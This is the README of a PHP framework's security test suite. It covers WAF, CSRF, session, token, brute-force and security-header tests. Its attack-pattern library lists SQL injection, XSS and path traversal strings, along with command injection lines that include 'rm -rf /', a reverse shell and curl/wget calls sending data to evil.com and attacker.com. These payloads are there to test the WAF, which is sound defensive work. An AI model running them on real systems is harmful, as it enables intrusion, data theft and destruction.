michaelschiemer/tests/Security/README.md

# Security Testing Documentation

Comprehensive security testing infrastructure for the Custom PHP Framework.

## Overview

This security testing suite provides automated tests for:
- **Web Application Firewall (WAF)** - SQL injection, XSS, Path Traversal, Command Injection
- **CSRF Protection** - Token generation, validation, rotation
- **Authentication Security** - Session security, token validation, brute force protection
- **Security Headers** - CSP, HSTS, X-Frame-Options, and more
- **Dependency Security** - Vulnerability scanning for Composer packages

## Directory Structure

```
tests/Security/
├── WafTests/
│   ├── SqlInjectionTest.php         # SQL injection attack tests
│   ├── XssAttackTest.php            # XSS attack tests
│   ├── PathTraversalTest.php        # Path traversal attack tests
│   └── CommandInjectionTest.php     # Command injection attack tests
├── AuthenticationTests/
│   ├── SessionSecurityTest.php      # Session hijacking, fixation, timeout
│   ├── TokenValidationTest.php      # JWT/Bearer token validation
│   └── BruteForceProtectionTest.php # Rate limiting, account lockout
├── SecurityTestCase.php             # Base class with attack patterns
├── SecurityHeadersTest.php          # Security HTTP headers tests
├── CsrfProtectionTest.php          # CSRF token tests
├── check-dependencies.php           # Dependency vulnerability scanner
└── README.md                        # This file
```

## Running Security Tests

### All Security Tests

```bash
# Run all security tests
php tests/Security/run-all-tests.php

# Or run individual test categories
php tests/Security/run-waf-tests.php
php tests/Security/run-auth-tests.php
```

### Individual Test Classes

```php
// WAF Tests
$sqlTest = new SqlInjectionTest($wafEngine);
$results = $sqlTest->runAllTests();

$xssTest = new XssAttackTest($wafEngine);
$results = $xssTest->runAllTests();

// Authentication Tests
$sessionTest = new SessionSecurityTest();
$results = $sessionTest->runAllTests();

// Security Headers
$headersTest = new SecurityHeadersTest();
$results = $headersTest->runAllTests();

// CSRF Protection
$csrfTest = new CsrfProtectionTest($csrfTokenGenerator);
$results = $csrfTest->runAllTests();
```

### Dependency Security Check

```bash
# Check for vulnerable dependencies
php tests/Security/check-dependencies.php

# Or use Composer audit (built-in)
composer audit

# Or use local-php-security-checker
local-php-security-checker --path=.
```

## Test Categories

### 1. WAF (Web Application Firewall) Tests

**SQL Injection Tests** (`SqlInjectionTest.php`):
- Query parameter injection
- POST data injection
- HTTP header injection
- Encoded SQL injection
- False positive prevention

**XSS Attack Tests** (`XssAttackTest.php`):
- Script tag injection
- Event handler injection (onerror, onload, etc.)
- JavaScript protocol attacks
- DOM-based XSS
- Encoded XSS attacks
- False positive prevention

**Path Traversal Tests** (`PathTraversalTest.php`):
- Directory traversal attacks (../, ..\\)
- System file access attempts
- Encoded path traversal (%2e%2e%2f)
- Null byte injection (%00)
- Directory listing attempts
- False positive prevention

**Command Injection Tests** (`CommandInjectionTest.php`):
- Shell command injection (; ls, | cat, etc.)
- Backtick command execution
- Command substitution ($(command))

### 2. CSRF Protection Tests

**CsrfProtectionTest.php**:
- Token generation (length, randomness)
- Token uniqueness (100 tokens tested)
- Token validation logic
- Token mismatch detection
- Missing token detection
- POST/PUT/DELETE protection
- GET request exemption
- Token rotation mechanism

### 3. Authentication Security Tests

**Session Security** (`SessionSecurityTest.php`):
- Session hijacking prevention (IP/User-Agent mismatch)
- Session fixation prevention (session ID regeneration)
- Session timeout enforcement
- Session data integrity validation
- Session cookie security (HttpOnly, Secure, SameSite)
- Concurrent session limits
- Proper session destruction

**Token Validation** (`TokenValidationTest.php`):
- JWT structure validation (header.payload.signature)
- Token expiration (exp claim)
- Token signature verification (HMAC-SHA256)
- Bearer token format
- Token claims validation (sub, exp, iat, nbf)
- Issued-at (iat) validation
- Not-before (nbf) validation

**Brute Force Protection** (`BruteForceProtectionTest.php`):
- Rate limiting (5 attempts per 5 minutes)
- Account lockout (after 5 failed attempts)
- Progressive delay (exponential backoff)
- CAPTCHA requirement threshold
- Distributed brute force detection
- Password spray attack detection
- Attempt counter reset on success

### 4. Security Headers Tests

**SecurityHeadersTest.php**:
- Content-Security-Policy (CSP)
- Strict-Transport-Security (HSTS)
- X-Frame-Options
- X-Content-Type-Options
- X-XSS-Protection
- Referrer-Policy
- Permissions-Policy
- Server header masking
- X-Powered-By removal
- Cross-Origin-Resource-Policy (CORP)
- Cross-Origin-Embedder-Policy (COEP)
- Cross-Origin-Opener-Policy (COOP)

## Attack Patterns Library

The `SecurityTestCase` base class provides reusable attack pattern libraries:

### SQL Injection Patterns (10 patterns)
```php
"' OR '1'='1"
"'; DROP TABLE users--"
"' UNION SELECT NULL--"
"admin'--"
"' OR 1=1--"
"1' AND '1'='1"
"' OR 'x'='x"
"1' UNION SELECT NULL, NULL--"
"; DELETE FROM users WHERE '1'='1"
"1'; WAITFOR DELAY '00:00:05'--"
```

### XSS Patterns (12 patterns)
```php
"<script>alert('XSS')</script>"
"<img src=x onerror=alert('XSS')>"
"<svg onload=alert('XSS')>"
"javascript:alert('XSS')"
"<iframe src='javascript:alert(1)'>"
"<body onload=alert(1)>"
"<input onfocus=alert(1) autofocus>"
"<marquee onstart=alert(1)>"
"<script src='http://evil.com/xss.js'></script>"
"<object data='javascript:alert(1)'>"
"<embed src='data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>"
"<link rel='stylesheet' href='javascript:alert(1)'>"
```

### Path Traversal Patterns (10 patterns)
```php
"../../../etc/passwd"
"..\\..\\..\\windows\\system32\\config\\sam"
"....//....//....//etc/passwd"
"..%2F..%2F..%2Fetc%2Fpasswd"
"/etc/passwd"
"C:\\Windows\\System32\\drivers\\etc\\hosts"
"../../../../../../etc/shadow"
"..%252f..%252fetc%252fpasswd"
"..%c0%af..%c0%afetc%c0%afpasswd"
"../../../proc/self/environ"
```

### Command Injection Patterns (10 patterns)
```php
"; ls -la"
"| cat /etc/passwd"
"&& rm -rf /"
"`whoami`"
"$(cat /etc/passwd)"
"; wget http://evil.com/malware"
"| nc -e /bin/sh attacker.com 4444"
"&& curl http://evil.com/data?c=$(cat /etc/passwd)"
"; python -c 'import socket...'"
"| bash -i >& /dev/tcp/attacker/8080 0>&1"
```

## Security Testing Best Practices

### 1. Test Coverage
- ✅ Test both positive (attacks blocked) and negative (legitimate requests allowed)
- ✅ Test encoded variants of attacks (URL encoding, HTML entities, Unicode)
- ✅ Test edge cases (empty input, null bytes, very long strings)
- ✅ Test all attack vectors (query params, POST data, headers, cookies)

### 2. False Positives
- ⚠️ Always test legitimate content to prevent false positives
- ⚠️ Examples: "O'Reilly" (apostrophe in name), "What's up?" (casual text)
- ⚠️ Safe HTML tags should not trigger XSS filters
- ⚠️ Legitimate file paths should not trigger path traversal filters

### 3. Security Layers
- 🛡️ Defense in depth: WAF + input validation + output encoding
- 🛡️ Multiple detection methods per attack type
- 🛡️ Rate limiting at multiple levels (IP, user, endpoint)

### 4. Continuous Testing
- 🔄 Run security tests in CI/CD pipeline
- 🔄 Regular dependency vulnerability scans
- 🔄 Periodic penetration testing
- 🔄 Security headers validation on each deployment

## Vulnerability Severity Levels

**CRITICAL** (Immediate action required):
- SQL Injection
- Remote Code Execution
- Authentication Bypass
- Path Traversal to sensitive files

**HIGH** (Fix within 24 hours):
- XSS (Stored, Reflected)
- CSRF on critical operations
- Session Hijacking
- Privilege Escalation

**MEDIUM** (Fix within 7 days):
- Missing Security Headers
- Session Fixation
- Information Disclosure
- Brute Force (without rate limiting)

**LOW** (Fix within 30 days):
- Header Information Leakage
- Outdated Dependencies (no known exploits)
- Missing CSP directives
- Cookie security attributes

## Integration with CI/CD

```yaml
# .github/workflows/security.yml
name: Security Tests

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2

      - name: Run WAF Tests
        run: php tests/Security/run-waf-tests.php

      - name: Run Authentication Tests
        run: php tests/Security/run-auth-tests.php

      - name: Check Dependencies
        run: composer audit

      - name: Security Headers Check
        run: php tests/Security/SecurityHeadersTest.php
```

## Dependency Security

### Automated Scanning

**Option 1: Composer Audit (Built-in)**
```bash
composer audit
```

**Option 2: Local PHP Security Checker**
```bash
# Install
curl -L https://github.com/fabpot/local-php-security-checker/releases/download/v2.0.6/local-php-security-checker_2.0.6_linux_amd64 -o local-php-security-checker
chmod +x local-php-security-checker

# Run
./local-php-security-checker --path=.
```

**Option 3: GitHub Dependabot**
Enable Dependabot in repository settings:
- Settings → Security & Analysis → Dependabot alerts
- Settings → Security & Analysis → Dependabot security updates

### Manual Check Script

```bash
php tests/Security/check-dependencies.php
```

## Reporting Security Issues

**Security Contact**: security@example.com

**Bug Bounty Program**: https://example.com/security/bug-bounty

**Please DO NOT report security vulnerabilities via public GitHub issues!**

## Security Checklist for Production

- [ ] All WAF tests passing
- [ ] CSRF protection enabled on all state-changing endpoints
- [ ] Session security properly configured (HttpOnly, Secure, SameSite)
- [ ] Brute force protection active (rate limiting, account lockout)
- [ ] All security headers properly set
- [ ] No vulnerable dependencies (composer audit clean)
- [ ] Server header masked or removed
- [ ] X-Powered-By header removed
- [ ] HTTPS enforced (HSTS enabled)
- [ ] CSP policy configured and tested
- [ ] Regular security audits scheduled
- [ ] Incident response plan documented

## Resources

**OWASP Top 10**: https://owasp.org/www-project-top-ten/
**Security Headers**: https://securityheaders.com/
**CSP Evaluator**: https://csp-evaluator.withgoogle.com/
**JWT Best Practices**: https://tools.ietf.org/html/rfc8725
**Session Security**: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html

## Changelog

### 2025-01-19 - v1.0.0
- Initial security testing infrastructure
- WAF tests (SQL injection, XSS, Path Traversal, Command Injection)
- CSRF protection tests
- Authentication security tests (Session, Token, Brute Force)
- Security headers tests
- Dependency vulnerability scanning

---

**Last Updated**: 2025-01-19
**Maintained By**: Framework Security Team